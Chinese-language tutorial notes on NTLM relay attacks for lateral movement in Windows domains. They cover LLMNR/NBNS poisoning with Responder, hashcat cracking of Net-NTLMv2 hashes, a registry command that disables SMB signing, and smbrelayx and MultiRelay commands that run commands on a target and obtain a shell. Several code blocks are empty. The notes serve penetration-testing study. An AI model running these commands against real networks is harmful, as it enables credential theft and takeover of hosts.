横向移动-4
横向移动-4
哔哩哔哩视频:
https://www.bilibili.com/video/BV12om2YTEgW?spm_id_from=333.788.videopod.episodes&vd_source=89bf25153801ebc942aaf90aa2af1675&p=192
NTLM v1 与NTLM v2
1 | Net-ntlm hash v1的格式为: |
NTLM Relay攻击
NTLM Relay其实严格意义上并不能叫NTLM Relay,而是应该叫 Net-NTLM Relay。它是发生在NTLM认证的第三步,在 Type3 Response消息中存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的NTLM Relay(NTLM 中继)攻击。
进行NTML Relay攻击步骤:
- 捕获Net-NTLM Hash
- 重放Net-NTLM Hash
获取Net-ntlm hash
那第一步获取hash,这里的实现方式就是让受害者把Hash传递给自己,所以说我们可以利用所有基于Ntlm协议的上层协议进行relay,比如SMB、HTTP、LDAP协议。
通过Responder或者Inveigh工具
这两个工具的原理是LLMNR和NetBIOS欺骗。
https://github.com/SpiderLabs/Responder
https://github.com/Kevin-Robertson/Inveigh
LLMNR全称链路本地多播名称解析,是基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。简单理解为就是一种在局域网内寻找主机的协议。
NetBios全称网络基本输入输出系统,它提供了OSI模型中的会话层服务,让在不同计算机上运行的不同程序,可以在局域网中,互相连线,以及分享数据。NetBIOS也是计算机的标识名称,主要用于局域网内计算机的互访。NetBIOS的工作流程就是正常的机器名解析查询应答过程。在Windows操作系统中,默认情况下在安装TCP/IP协议后会自动安装NetBIOS。
Windows解析主机名的顺序为:
1)查看本地hosts文件
2)查看DNS缓存或者DNS服务器中进行查找
3)利用LLMNR(链路本地多播名称解析)和NetBIOS名称服务进行查找
在局域网环境下,当用户输入了一个不存在的,或者错误的,DNS中不存在的主机名的时候,Windows系统根据主机名解析的顺序开始查找,最终在局域网内广播LLMNR/NBNS数据包来请求解析主机名。所以当我们在攻击机上进行监听,然后在被攻击机上进行广播查找,当LLMNR(链路本地多播名称解析)和NetBIOS名称服务进行查找时,我们就可以抓到被攻击机的hash。
获取Net-ntlm hash
Responder
1 | 攻击机(kali)上执行下面的命令 |
然后在被攻击机上访问一个不存在的主机,使得被攻击机进行广播,这里随便输一个\dddddd
或者在终端执行net use \dddddd,这里是利用SMB协议进行中继攻击,所以这里是SMB Relay。
返回kali,看到已经抓到了net-ntlm hash
其实这里的原理是LLMNR&NBNS攻击,当用户输入任意一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,所以系统就会发送LLNMR/NBNS数据包请求解析,此时Responder对目标主机进行LLNMR/NBNS毒化,并要求其输入凭据认证,然后就可以抓到目标机器的Net-Ntlm hash。
浏览器钓鱼:
1 |
|
然后在被攻击机上访问这个文件
除了上面的这些方法之外还可以用Office、PDF、outlook、WPAD欺骗、打印机漏洞等
利用Net-ntlm hash进行攻击
这里在我们抓到Net-NTLM Hash之后有两种利用方法,一种是利用破解软件比如hashcat去解出明文密码,一种是中继Net-NTLM Hash。
破解Net-NTLM Has
1 | hashcat -m 5600 <net-ntlm hash> 密码字典路径 --force --show |
我们抓到的这个是Net-NTLM Hash v2,密码强度较高,一般都跑不出来,所以基本都是用中继攻击。
中继Net-NTLM Hash
我们知道,由于NTLM只是底层的认证协议,必须镶嵌在上层应用协议里面,消息的传输依赖于使用NTLM的上层协议,比如SMB、HTTP、LDAP等。因此,我们可以将获取到的Net-NTLM Hash Relay到其他使用NTLM进行认证的应用上。
这个攻击有个前提:
目标主机没有开启smb签名。这里说一下,一般情况下域控默认开启smb签名,其余域内机器不开启。关闭SMB签名的命令如下:
1 | reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f |
用nmap探测SMB签名是否打开命令
1 | nmap -p445 --script=smb-security-mode.nse -Pn IP --open |
SMB中继
SMB 中继是最直接最有效的方法。可以直接控制该服务器 (包括但不限于在远程服务器上执行命令、上传 exe 到远程主机上执行、dump 服务器的用户 hash 等等)。
中继的前提是目标 SMB 签名需要关闭,在 SMB 连接中,需要使用安全机制来保护服务器和客户端之间传输数据的完整性,而这种安全机制就是 SMB 签名和加密,如果关闭 SMB 签名,会允许攻击者拦截认证过程,并且将获得 hash 在其他机器上进行重放,从而获得权限。
impacket下的smbrelayx.py
1 | 在VPS(192.168.253.129)上执行如下命令,攻击192.168.253.128主机,并执行 whoami命令,会监听本地80和445 端口,伪造 http 和 smb 服务 |
让任意主机访问这个攻击者精心构造好的 SMB 服务器:
1 | net use \\<kali IP> |
此时,攻击者的 smbrelayx 脚本上就会发现命令成功执行了
responder MultiRelay
利用 MultiRelay.py 攻击,获得目标主机的 shell:
1 | python3 MultiRelay.py -t <被攻击ip> -u ALL |
现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下 responder 的配置文件Responder.conf,不让其对 hash 进行抓取。将 SMB 和 HTTP 的 On 改为 Off:
1 | vim /usr/share/responder/Responder.conf |
重启 Responder.py,准备毒化(这里 responder 的作用就是当访问一个不存在的共享路径,将称解析降到 LLMNR/NBNS 时,来抓取网络中所有的 LLMNR 和 NetBIOS 请求并进行响应)
1 | responder -I eth0 |
在 DC(192.168.141.130)上随便传递一个 SMB 流量
1 | net use \\whoami |
拿到了目标机器的 shell